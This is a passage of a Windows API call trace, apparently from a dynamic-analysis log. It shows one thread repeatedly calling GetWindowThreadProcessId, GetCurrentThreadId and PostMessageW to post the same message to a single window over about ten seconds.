(hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0131.983] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0131.983] GetCurrentThreadId () returned 0xef8 [0131.983] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0131.984] GetCurrentThreadId () returned 0xef8 [0131.984] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0132.182] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0132.183] GetCurrentThreadId () returned 0xef8 [0132.183] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0132.183] GetCurrentThreadId () returned 0xef8 [0132.183] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0132.370] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0132.370] GetCurrentThreadId () returned 0xef8 [0132.370] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0132.370] GetCurrentThreadId () returned 0xef8 [0132.370] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0132.526] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0132.526] GetCurrentThreadId () returned 0xef8 [0132.526] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0132.526] GetCurrentThreadId () returned 0xef8 [0132.526] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0132.698] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0132.698] GetCurrentThreadId () returned 0xef8 [0132.698] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0132.699] GetCurrentThreadId () returned 0xef8 [0132.699] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0132.823] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0132.823] GetCurrentThreadId () returned 0xef8 [0132.823] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0132.823] GetCurrentThreadId () returned 0xef8 [0132.823] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0133.009] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0133.009] GetCurrentThreadId () returned 0xef8 [0133.009] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0133.009] GetCurrentThreadId () returned 0xef8 [0133.009] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0133.196] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0133.197] GetCurrentThreadId () returned 0xef8 [0133.197] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0133.197] GetCurrentThreadId () returned 0xef8 [0133.197] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0133.384] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0133.384] GetCurrentThreadId () returned 0xef8 [0133.384] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0133.384] GetCurrentThreadId () returned 0xef8 [0133.384] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0133.541] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0133.541] GetCurrentThreadId () returned 0xef8 [0133.541] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0133.541] GetCurrentThreadId () returned 0xef8 [0133.541] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0133.711] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0133.711] GetCurrentThreadId () returned 0xef8 [0133.711] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0133.711] GetCurrentThreadId () returned 0xef8 [0133.712] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0133.865] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0133.865] GetCurrentThreadId () returned 0xef8 [0133.865] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0133.865] GetCurrentThreadId () returned 0xef8 [0133.866] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0134.023] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0134.023] GetCurrentThreadId () returned 0xef8 [0134.023] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0134.023] GetCurrentThreadId () returned 0xef8 [0134.024] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0134.195] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0134.195] GetCurrentThreadId () returned 0xef8 [0134.195] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0134.195] GetCurrentThreadId () returned 0xef8 [0134.195] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0134.379] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0134.379] GetCurrentThreadId () returned 0xef8 [0134.379] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0134.379] GetCurrentThreadId () returned 0xef8 [0134.379] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0134.527] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0134.527] GetCurrentThreadId () returned 0xef8 [0134.527] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0134.527] GetCurrentThreadId () returned 0xef8 [0134.527] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0134.700] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0134.700] GetCurrentThreadId () returned 0xef8 [0134.701] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0134.701] GetCurrentThreadId () returned 0xef8 [0134.701] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0134.878] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0134.878] GetCurrentThreadId () returned 0xef8 [0134.879] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0134.879] GetCurrentThreadId () returned 0xef8 [0134.879] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0135.068] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0135.068] GetCurrentThreadId () returned 0xef8 [0135.069] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0135.069] GetCurrentThreadId () returned 0xef8 [0135.069] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0135.271] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0135.271] GetCurrentThreadId () returned 0xef8 [0135.271] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0135.271] GetCurrentThreadId () returned 0xef8 [0135.271] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0135.501] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0135.501] GetCurrentThreadId () returned 0xef8 [0135.501] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0135.501] GetCurrentThreadId () returned 0xef8 [0135.501] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0135.677] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0135.677] GetCurrentThreadId () returned 0xef8 [0135.677] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0135.677] GetCurrentThreadId () returned 0xef8 [0135.677] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0135.818] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0135.818] GetCurrentThreadId () returned 0xef8 [0135.818] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0135.819] GetCurrentThreadId () returned 0xef8 [0135.819] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0135.970] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0135.970] GetCurrentThreadId () returned 0xef8 [0136.004] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0136.004] GetCurrentThreadId () returned 0xef8 [0136.004] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0136.177] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0136.177] GetCurrentThreadId () returned 0xef8 [0136.177] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0136.177] GetCurrentThreadId () returned 0xef8 [0136.177] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0136.363] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0136.364] GetCurrentThreadId () returned 0xef8 [0136.364] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0136.364] GetCurrentThreadId () returned 0xef8 [0136.364] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0136.539] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0136.539] GetCurrentThreadId () returned 0xef8 [0136.539] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0136.539] GetCurrentThreadId () returned 0xef8 [0136.540] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0136.693] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0136.693] GetCurrentThreadId () returned 0xef8 [0136.693] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0136.693] GetCurrentThreadId () returned 0xef8 [0136.693] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0136.874] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0136.909] GetCurrentThreadId () returned 0xef8 [0136.909] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0136.909] GetCurrentThreadId () returned 0xef8 [0136.909] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0137.114] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0137.114] GetCurrentThreadId () returned 0xef8 [0137.115] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0137.115] GetCurrentThreadId () returned 0xef8 [0137.115] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0137.285] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0137.285] GetCurrentThreadId () returned 0xef8 [0137.285] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0137.285] GetCurrentThreadId () returned 0xef8 [0137.285] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0137.475] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0137.475] GetCurrentThreadId () returned 0xef8 [0137.475] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0137.475] GetCurrentThreadId () returned 0xef8 [0137.475] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0137.765] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0137.765] GetCurrentThreadId () returned 0xef8 [0137.765] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0137.765] GetCurrentThreadId () returned 0xef8 [0137.765] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0137.926] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0137.927] GetCurrentThreadId () returned 0xef8 [0137.927] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0137.927] GetCurrentThreadId () returned 0xef8 [0137.927] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0138.130] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0138.130] GetCurrentThreadId () returned 0xef8 [0138.130] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0138.130] GetCurrentThreadId () returned 0xef8 [0138.130] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0138.322] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0138.322] GetCurrentThreadId () returned 0xef8 [0138.322] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0138.322] GetCurrentThreadId () returned 0xef8 [0138.323] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0138.488] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0138.488] GetCurrentThreadId () returned 0xef8 [0138.488] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0138.488] GetCurrentThreadId () returned 0xef8 [0138.488] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0138.657] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0138.657] GetCurrentThreadId () returned 0xef8 [0138.657] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0138.657] GetCurrentThreadId () returned 0xef8 [0138.657] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0138.844] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0138.844] GetCurrentThreadId () returned 0xef8 [0138.844] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0138.844] GetCurrentThreadId () returned 0xef8 [0138.845] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0139.025] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0139.025] GetCurrentThreadId () returned 0xef8 [0139.025] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0139.025] GetCurrentThreadId () returned 0xef8 [0139.026] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0139.218] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0139.218] GetCurrentThreadId () returned 0xef8 [0139.218] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0139.218] GetCurrentThreadId () returned 0xef8 [0139.218] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0139.375] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0139.375] GetCurrentThreadId () returned 0xef8 [0139.375] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0139.375] GetCurrentThreadId () returned 0xef8 [0139.375] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0139.520] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0139.520] GetCurrentThreadId () returned 0xef8 [0139.520] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0139.520] GetCurrentThreadId () returned 0xef8 [0139.520] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0139.686] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0139.686] GetCurrentThreadId () returned 0xef8 [0139.686] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0139.686] GetCurrentThreadId () returned 0xef8 [0139.686] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0139.828] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0139.828] GetCurrentThreadId () returned 0xef8 [0139.828] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0139.828] GetCurrentThreadId () returned 0xef8 [0139.829] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0140.045] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0140.045] GetCurrentThreadId () returned 0xef8 [0140.045] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0140.045] GetCurrentThreadId () returned 0xef8 [0140.045] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0140.182] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0140.182] GetCurrentThreadId () returned 0xef8 [0140.182] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0140.182] GetCurrentThreadId () returned 0xef8 [0140.182] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0140.310] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0140.310] GetCurrentThreadId () returned 0xef8 [0140.310] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0140.310] GetCurrentThreadId () returned 0xef8 [0140.310] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0140.500] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0140.500] GetCurrentThreadId () returned 0xef8 [0140.500] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0140.500] GetCurrentThreadId () returned 0xef8 [0140.500] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0140.684] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0140.684] GetCurrentThreadId () returned 0xef8 [0140.684] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0140.684] GetCurrentThreadId () returned 0xef8 [0140.685] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0140.856] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0140.856] GetCurrentThreadId () returned 0xef8 [0140.856] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0140.856] GetCurrentThreadId () returned 0xef8 [0140.856] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0141.043] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0141.043] GetCurrentThreadId () returned 0xef8 [0141.043] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0141.043] GetCurrentThreadId () returned 0xef8 [0141.044] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0141.293] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0141.293] GetCurrentThreadId () returned 0xef8 [0141.293] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0141.293] GetCurrentThreadId () returned 0xef8 [0141.293] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0141.480] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0141.480] GetCurrentThreadId () returned 0xef8 [0141.480] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0141.480] GetCurrentThreadId () returned 0xef8 [0141.481] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0141.714] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0141.714] GetCurrentThreadId () returned 0xef8 [0141.714] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0141.714] GetCurrentThreadId () returned 0xef8 [0141.714] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0141.902] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0141.902] GetCurrentThreadId () returned 0xef8 [0141.902] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0141.902] GetCurrentThreadId () returned 0xef8 [0141.902] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0142.104] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0142.104] GetCurrentThreadId () returned 0xef8 [0142.104] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0142.104] GetCurrentThreadId () returned 0xef8 [0142.104] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0142.291] GetWindowThreadProcessId (in: 